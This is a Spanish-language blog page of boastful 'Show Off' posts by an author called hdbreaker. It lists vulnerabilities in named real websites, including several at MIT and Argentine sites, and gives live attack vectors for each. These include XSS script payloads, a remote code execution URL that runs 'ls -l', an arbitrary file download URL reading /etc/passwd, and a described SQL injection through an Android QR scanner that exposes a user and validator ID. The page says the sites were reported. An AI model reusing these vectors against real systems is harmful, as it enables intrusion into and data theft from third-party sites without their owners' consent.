Todos los sitios expuestos en esta sección han sido reportados y hemos ofrecido nuestro servicios para lograr solucionar las fallas de seguridad en sus sistemas,
Mostrando entradas con la etiqueta Show Off. Mostrar todas las entradas
Mostrando entradas con la etiqueta Show Off. Mostrar todas las entradas
XSS https://www.clickon.com.ar
Todos los sitios expuestos en esta sección han sido reportados y hemos ofrecido nuestro servicios para lograr solucionar las fallas de seguridad en sus sistemas,
SQLI http://www.isecom.com.ar
Todos los sitios expuestos en esta sección han sido reportados y hemos ofrecido nuestro servicios para lograr solucionar las fallas de seguridad en sus sistemas,
XSS www.bebee.com
Todos los sitios expuestos en esta sección han sido reportados y hemos ofrecido nuestro servicios para lograr solucionar las fallas de seguridad en sus sistemas,
SQLi en QR Scanner
by hdbreaker
Hoy les traigo algo no muy difícil pero que me resulto curioso: un SQLI por medio de un lector QR o un Lector externo láser de barcodes
Me parece interesante compartir, ya que es algo que pocos se imaginan, un SQLI en una aplicación totalmente Nativa Android con motor SQLite (SQLI no es solo para Webs)
Dejo algunas Capturas:
ZonalCUYO es el Usuario y el codigo Hexa (0x) es el ValidatorID con el cual la app accede a los WebServices
Saludos!
XSS http://blog.underc0de.org
XSS
Sitio: http://blog.underc0de.org
Vector: <<SCRIPT>alert("XSS");//<</SCRIPT
Autor: hdbreaker
PD: Lo gracioso de este XSS esta dato por el sitio, una importante comunidad de hackers que no fixea este XSS aunque lleve meses de reportado.
Además realice una publicación paso a paso de como explotar el fallo y en vez de fixearlo, me eliminaron el post!
Remote Code Execution MIT
RCE:
Sitio: http://math.mit.edu/
Vector: http://math.mit.edu/~numericalmath/exec_php.php?eq=ls+-l
Autor: hdbreaker
Respuesta del SysAdmin:
Arbitrary File Download MIT
AFD
Sitio: http://alum.mit.edu/
Vector: http://alum.mit.edu/bvr/download_img.php?file=/etc/passwd
Autor: hdbreaker
XSS Massachusetts Institute of Technology
XSS:
Sitio: http://events.mit.edu/
Vector:
http://events.mit.edu/searchresults.html?fulltext=%22%3E--%3E%3Cscript%3Ealert%28%22HD_Breaker%20for%20Aaron%20Schwartz%22%29%3C%2Fscript%3E%3C!--&andor=and&start.month=01&start.day=22&start.year=2013&end.month=02&end.day=22&end.year=2013
Autor: hdbreaker
Suscribirse a:
Entradas
(
Atom
)
